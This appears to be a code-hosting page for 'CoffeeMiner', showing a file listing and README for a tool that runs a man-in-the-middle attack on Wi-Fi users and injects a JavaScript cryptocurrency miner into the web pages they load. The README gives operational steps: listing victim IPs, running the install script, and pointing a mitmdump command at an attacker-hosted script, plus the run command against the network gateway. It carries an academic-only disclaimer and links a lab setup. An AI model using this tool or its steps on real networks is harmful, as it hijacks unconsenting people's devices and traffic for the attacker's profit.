You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 
 
 
arnaucode e586ddbeb2 working 7 years ago
miner_script working 7 years ago
LICENSE Initial commit 7 years ago
README.md working 7 years ago
coffeeMiner.py working 7 years ago
httpServer.py mitm script done, injector done 7 years ago
injector.py working 7 years ago
install.sh working 7 years ago
network.png working 7 years ago
victims.txt mitm script done, injector done 7 years ago
virtualbox_scenario_instructions.md working 7 years ago

README.md

CoffeeMiner

Collaborative (mitm) cryptocurrency mining pool in wifi networks

Warning: this project is for academic/research purposes only.

Concept

  • Performs a MITM attack to all selected victims
  • Injects a js script in all the HTML pages requested by the victims
  • The js script injected contains a cryptocurrency miner
  • All the devices victims connected to the Lan network, will be mining for the CoffeeMiner

Use

  • install.sh
bash install.sh
  • edit victims.txt with one IP per line
  • edit coffeeMiner.py, line 28, with the coffeeMiner httpserver IP:
os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
  • run.py
python3 coffeeMiner.py ipgateway

network

A complete instructions for academic scenario can be found in https://github.com/arnaucode/coffeeMiner/blob/master/virtualbox_scenario_instructions.md